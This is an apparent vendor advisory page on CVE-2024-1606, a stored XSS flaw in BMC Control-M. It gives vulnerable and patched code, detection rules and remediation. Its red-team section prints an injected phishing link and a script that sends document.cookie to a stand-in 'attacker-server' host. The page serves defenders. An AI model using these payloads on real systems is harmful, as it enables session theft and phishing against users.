CVE-2024-1606
Executive Summary
CVE-2024-1606 is a stored cross-site scripting (XSS) vulnerability in BMC Control-M, a workload automation platform. The flaw exists in branches 9.0.20 and 9.0.21 due to a lack of input sanitization. A logged-in user can inject arbitrary HTML code into generated web pages, leading to potential phishing attacks. The vulnerability has a CVSS score of 4.6 (Medium), with an EPSS probability of 0.0%, indicating low exploitation likelihood. Patches are available for both affected branches.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise software product (BMC Control-M). No supply chain implications are present.
CVSS Breakdown & Threat Level
- CVSS Score: 4.6 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (authenticated user)
- User Interaction: Required (victim must click a crafted link)
- Scope: Unchanged
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. The requirement for authentication and user interaction reduces the risk, but the potential for phishing attacks targeting internal users is significant.
Deep Dive & Mechanics
The vulnerability stems from insufficient input sanitization in BMC Control-M's web interface. When a logged-in user submits data (e.g., job names, descriptions, or other fields), the application fails to properly encode or escape HTML entities. This allows an attacker to inject arbitrary HTML and JavaScript code.
Attack Flow:
- An authenticated attacker crafts a malicious payload (e.g.,
<script>alert('XSS')</script>or a phishing link). - The attacker submits this payload via a vulnerable input field (e.g., job name, comment).
- The payload is stored in the Control-M database and rendered in web pages viewed by other users.
- When a victim (also authenticated) views the affected page, the injected HTML/JavaScript executes in their browser.
- The attacker can then redirect the victim to a malicious site, steal session cookies, or perform other client-side attacks.
Root Cause: Lack of input sanitization and output encoding in the web application layer.
Vulnerable vs. Patched Code
Vulnerable Code (9.0.20/9.0.21):
// Example: Directly rendering user input without sanitization
String userInput = request.getParameter("jobName");
out.println("<div>" + userInput + "</div>");
Patched Code (9.0.20.238 / 9.0.21.200):
// Example: Using proper output encoding
String userInput = request.getParameter("jobName");
String sanitizedInput = StringEscapeUtils.escapeHtml4(userInput);
out.println("<div>" + sanitizedInput + "</div>");
The patch introduces HTML entity encoding (e.g., < becomes <) to neutralize injected scripts.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- Access to a vulnerable BMC Control-M instance (9.0.20 or 9.0.21).
- Valid credentials for a low-privileged user.
Steps:
- Log in to the Control-M web interface.
- Navigate to a vulnerable input field (e.g., job creation or modification).
- Inject a payload such as:
<a href="http://attacker-controlled-site.com/phishing">Click here for important update</a> - Submit the form. The payload is stored.
- Send a crafted link to a victim user (e.g., via email or internal chat) that leads to the page containing the payload.
- When the victim views the page, the injected HTML renders, potentially tricking them into clicking the malicious link.
Example Payload for Session Theft:
<script>
fetch('http://attacker-server/steal?cookie=' + document.cookie);
</script>
Blue Team (Defender)
Detection:
- Monitor web application logs for unusual input patterns (e.g.,
<script>,onerror=,javascript:). - Use WAF rules to block common XSS payloads.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Hunting:
- Search for stored data containing HTML tags in Control-M job definitions.
- Review user activity logs for repeated submissions of suspicious strings.
Mitigation:
- Apply the official patches (9.0.20.238 or 9.0.21.200).
- If patching is delayed, implement input validation and output encoding at the application layer.
Indicators of Compromise (IOCs)
- Network:
- Outbound connections to attacker-controlled domains from Control-M web servers.
- HTTP requests containing XSS payloads in POST/GET parameters.
- Host:
- Log entries showing HTML/JavaScript injection in job names or descriptions.
- Unusual user-agent strings or referrer headers.
- File:
- Temporary files or logs containing injected scripts.
- Registry/Config:
- Modified web application configuration files (unlikely).
Detection Engineering
YARA Rule
rule CVE_2024_1606_XSS_Payload {
meta:
description = "Detects XSS payloads targeting BMC Control-M CVE-2024-1606"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-1606"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /on\w+\s*=\s*['"].*?['"]/is
$xss3 = /javascript\s*:/is
$xss4 = /<[^>]*\s+on\w+\s*=/is
condition:
any of them
}
Sigma Rule
title: CVE-2024-1606 - XSS in BMC Control-M
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential XSS attempts in BMC Control-M web logs
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains:
- '<script'
- 'onerror='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of HTML in job descriptions (rare)
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-1606 - XSS in BMC Control-M"; flow:to_server,established; content:"POST"; http_method; content:"/ControlM/"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade to version 9.0.20.238 (for 9.0.20 branch) or 9.0.21.200 (for 9.0.21 branch).
- If patching is not possible, implement a Web Application Firewall (WAF) with rules to block XSS payloads.
- Enforce strict Content Security Policy (CSP) headers to prevent inline script execution.
Long-term Measures:
- Conduct code reviews to ensure all user inputs are sanitized and output encoded.
- Implement automated security testing (SAST/DAST) in the CI/CD pipeline.
- Train developers on secure coding practices, especially regarding XSS prevention.
Workarounds:
- Disable HTML rendering in job descriptions if possible.
- Restrict user permissions to minimize the attack surface.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.